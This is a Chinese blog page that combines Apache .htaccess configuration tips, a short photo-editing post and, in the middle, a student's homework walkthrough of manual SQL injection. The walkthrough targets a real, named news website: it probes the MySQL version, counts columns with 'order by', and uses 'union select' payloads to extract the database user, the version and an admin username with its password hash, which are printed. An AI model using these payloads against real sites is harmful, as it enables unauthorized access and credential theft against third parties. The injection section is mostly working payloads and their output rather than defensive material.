http://yoursite.com/old_dir/dir1/test.html -> http://yoursite.com/new_dir/dir1/test.html
Tip: 使用用户目录时Redirect不能转向的解决方法
当你使用Apache默认的用户目录,如 http://mysite.com/~windix,当你想转向 http://mysite.com/~windix/jump时,你会发现下面这个Redirect不工作:
Redirect /jump http://www.google.com
正确的方法是改成
Redirect /~windix/jump http://www.google.com
(source: .htaccess Redirect in “Sites” not redirecting: why?
)

10. Prevent viewing of .htaccess file 防止.htaccess文件被查看
order allow,deny
deny from all

11. Adding MIME Types 添加 MIME 类型
AddType application/x-shockwave-flash swf
Tips: 设置类型为 application/octet-stream 将提示下载

12. Preventing hot linking of images and other file types 防盗链
需要mod_rewrite模块
RewriteEngine on
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http://(www/\.)?mydomain.com/.*$ [NC]
RewriteRule \.(gif|jpg|js|css)$ - [F]
解析:
若 HTTP_REFERER 非空 (来源为其他站点,非直接连接) 并且
若 HTTP_REFERER 非(www.)mydomain.com开头(忽略大小写[NC]) (来源非本站)
对于所有含有 .gif/.jpg/.js/.css 结尾的文件给出 403 Forbidden 错误[F]
也可指定响应,如下例显示替换图片
RewriteRule \.(gif|jpg)$
[R,L]
[R] - 转向(Redirect)
[L] - 连接(Link)

13. Preventing Directory Listing 防止目录列表时显示
IndexIgnore *
IndexIgnore *.jpg *.gif
Tips:
允许目录列表显示: Options +Indexes
禁止目录列表显示: Options -Indexes
显示提示信息: 页首 文件HEADER, 页尾 文件README

Tags:
电脑出问题了,没有听成课,遗憾啊。
自己去翻资料,试做一下做业了。

7月27日课程:简单的PHP注射

参考文章:http://bbs.vip8.org/read.php?tid=28960


原理文章:

http://bbs.vip8.org/read.php?tid=29060

练习网站:
http://www.digitimes.com.cn/pages/cover.php?id%A3%BD288=&id=501&id=617

目标直接给了,先打开网站吧。

注意啊,地址后面有php?id=xxx,一般的来说有这个的才会可以注。

好了,我们先来第一步,在地址后面加上 and 1=1 正常哦。和 and 1=2。发生错误啦。看到了吧,文章没有了。





这说明我们提交的and 1=1和and 1=2都被当作SQL语句执行。

既然这个可以执行,那么其他的语句也应该可以执行的。先确认一下是不是MYSQL数据库,在URL后面提交/*随便是什么东西、返回正常。

可以确认是MYSQL的,因为基本上支持/*注释都是MYSQL数据库。



下面我们看看可不可以union查询。


提交and ord(mid(version(),1,1))>51/* 这句的意思是查看数据库是不是大于3.0的。说一下,这些注射的代码我也不熟悉,但是,还是自己

一个个输入吧,这样才能达到熟悉的效果。

注意:ASCIl码51对应的是3,那么大于3的话当然就是4.0以上的。4.0以上支持union查询的,结果返回正常。

其实,现在想要找MYSQL版本3.0和以下的都不容易了。


下面我们看有没有ROOT权限。提交and (select count(*) from mysql.user)>0/*

结果返回错误

看来不是ROOT权限,对方MYSQL数据库没有读取权限。

既然不是ROOT也没有关系。既然支持union查询我们来暴字段数,提交order by 10/*,结果返回正常。

看来是大于10个字段的,继续提交order by 20/* 返回错误,小于20个字段,

提交提交order by 17/*正常。order by 18 当提交order by 19/*的时候返回错误。看来是18个字段。

继续提交 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/*,在页面暴出了数字


呵呵,在暴出的数字上加上user()和version()。

继续提交 and 1=2 union select 1,user(),version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/*,暴出用户名和版本号

digitimes@localhost
4.0.20a-nt



下面就猜用户名和密码了

一般的都是这个表 admin 或user。就用它来试试。

继续提交 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,username,password,13,14,15,16,17,18 from admin/*  

不行,试user。

提交 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,username,password,13,14,15,16,17,18 from user/*  

就得到这个啦

sa  
 
d692e9a1e52f4a6ab752d3561dc48183  


OK了。



到这里作业就完成了。应该有不少错误吧,希望大家指正。
Tags:
点击在新窗口中浏览此图片
点击在新窗口中浏览此图片

效果不是很好.用了三张图片,一张是我用摄象头照的自己,一张背景,一张月亮是从BAIDU搜的.

第一次,还算成功吧,继续努力.

融图 此教程可以从本站找到.
分页: 1/1 第一页 1 最后页 [ 显示模式: 摘要 | 列表 ]